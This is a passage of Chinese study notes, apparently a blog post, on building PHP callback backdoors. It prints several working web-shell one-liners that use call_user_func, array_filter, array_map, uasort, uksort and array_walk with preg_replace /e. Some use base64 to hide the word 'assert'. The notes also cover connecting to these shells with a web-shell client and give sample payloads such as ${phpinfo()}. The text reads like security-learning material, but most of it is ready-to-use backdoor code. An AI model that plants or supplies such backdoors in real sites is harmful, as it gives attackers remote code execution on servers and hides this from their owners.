创造tips的秘籍--PHP回调后门
php中包含回调函数参数的函数,具有做后门的潜质
python中也有回调map()、filter、reduce
windows远程连接端口3389
linux远程连接端口ssh-22
Linux拿站点,权限是www-gate(Linux最小权限原则)
windows比较容易横向拿站点
一、回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了
call_user_func (PHP 4, PHP 5, PHP 7, PHP 8) call_user_func --- 把第一个参数作为回调函数调用 说明 call_user_func(callable callback, mixed ...args): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
源码:
php
<?php
call_user_func('assert',$_REQUEST['pass']); //(第一种,传正常字符串)
call_user_func_array('assert',array($_REQUEST['pass'])); //(第二种,可以传数组)
$_REQUEST(可以接get、post、cookie)
php7.4以后的assert函数被禁用
思考:
怎么用后门:
怎么连接一句话木马

可以见得直接用get传参是可以执行的
call_user_func('assert',$_REQUEST['pass']);就相当于assert(传参值)
那让pass=POST\[123\]不就是assert(POST[123])

但是尝试后显然不行
get传参不行尝试下post传参

还是不行
但是使用eval($_POST[123])可以连接

思考:为什么呢
抓包对比下



二、数组操作造成的单参数回调后门
php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr,base64_decode($e));
php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e),$arr);


get传参e=YXNzZXJ0
base64_decode($e)后解码为assert
array_filter --- 使用回调函数过滤数组的元素
array_filter (array $array
, ?callable $callback
= null , int $mode
= 0): array
最终执行的是assert(phpinfo();)
那如何连接蚁剑呢

三、php5.4.8+中的assert
在php5.4.8以后的版本中,assert函数由一个参数,增加了一个可选参数descrition
可以有一个参数也可以有两个参数,那么以前回调后门中有两个参数的回调函数就可以用了
php
<?php
$e = $_REQUEST['e'];
$arr = array('test',$_REQUEST['pass']);
uasort($arr,base64_decode($e));
php
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1,$_REQUEST['pass'] => 2);
uksort($arr,$e);
我们使用第二种试试

uksort --- 使用用户自定义的比较函数对数组中的键名进行排序
uksort (array &$array
, callable $callback
): true
使用用户自定义的比较函数对 array
本身进行按键(key)排序以确定顺序。

四、三参数的回调后门
三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以这里构造了一个array_walk+preg_replace的回调后门
php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr,$e,'');
array_walk --- 使用用户自定义函数对数组中的每个元素做回调处理
array_walk (array|object &$array
, callable $callback
, mixed $arg
= null ): true
将用户自定义函数 callback
应用到 array
数组中的每个单元。
这里的php中的.(点)是存在问题的
回想diqile中mysql注入中i.d--->i_d
.*={${phpinfo()}}
\S*=${phpinfo()}